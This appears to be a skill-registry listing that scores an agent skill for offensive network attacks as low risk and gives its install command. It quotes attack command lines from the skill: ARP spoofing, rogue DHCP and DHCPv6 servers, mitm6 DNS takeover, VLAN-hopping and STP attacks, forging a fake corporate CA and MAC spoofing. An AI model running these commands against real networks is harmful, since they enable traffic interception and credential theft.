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offensive-network-attacks
95 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By SnailSploit/Claude-Red (GitHub) · coding · 10,590 stars · scanned at commit a8de813
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 22 places.
Show 17 more
- Skills/network/offensive-network-attacks/SKILL.md, line 100
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt - Skills/network/offensive-network-attacks/SKILL.md, line 128
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d - Skills/network/offensive-network-attacks/SKILL.md, line 154
./singularity -DNSRebindStrategy DNSRebindFromRequest \ - Skills/network/offensive-network-attacks/SKILL.md, line 167
sudo bettercap -iface eth0 - Skills/network/offensive-network-attacks/SKILL.md, line 183
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1 - Skills/network/offensive-network-attacks/SKILL.md, line 193
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic - Skills/network/offensive-network-attacks/SKILL.md, line 209
sudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation - Skills/network/offensive-network-attacks/SKILL.md, line 237
sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover - Skills/network/offensive-network-attacks/SKILL.md, line 250
sudo dhcpstarv -i eth0 # dedicated starvation tool - Skills/network/offensive-network-attacks/SKILL.md, line 273
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d - Skills/network/offensive-network-attacks/SKILL.md, line 287
sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs - Skills/network/offensive-network-attacks/SKILL.md, line 298
sudo ip link add name br0 type bridge - Skills/network/offensive-network-attacks/SKILL.md, line 309
openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp" - Skills/network/offensive-network-attacks/SKILL.md, line 321
sudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI - Skills/network/offensive-network-attacks/SKILL.md, line 337
sudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover - Skills/network/offensive-network-attacks/SKILL.md, line 358
sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server - Skills/network/offensive-network-attacks/SKILL.md, line 368
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
and 2 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-network-attacks' ] || [ -L ~/.agents/skills/'offensive-network-attacks' ]; then echo 'A skill folder named offensive-network-attacks already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/network/offensive-network-attacks' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/network/offensive-network-attacks' ~/.agents/skills/'offensive-network-attacks' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-network-attacks' ~/.claude/skills/'offensive-network-attacks' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 95 |
| 2026-11-07 | a8de813 | 95 |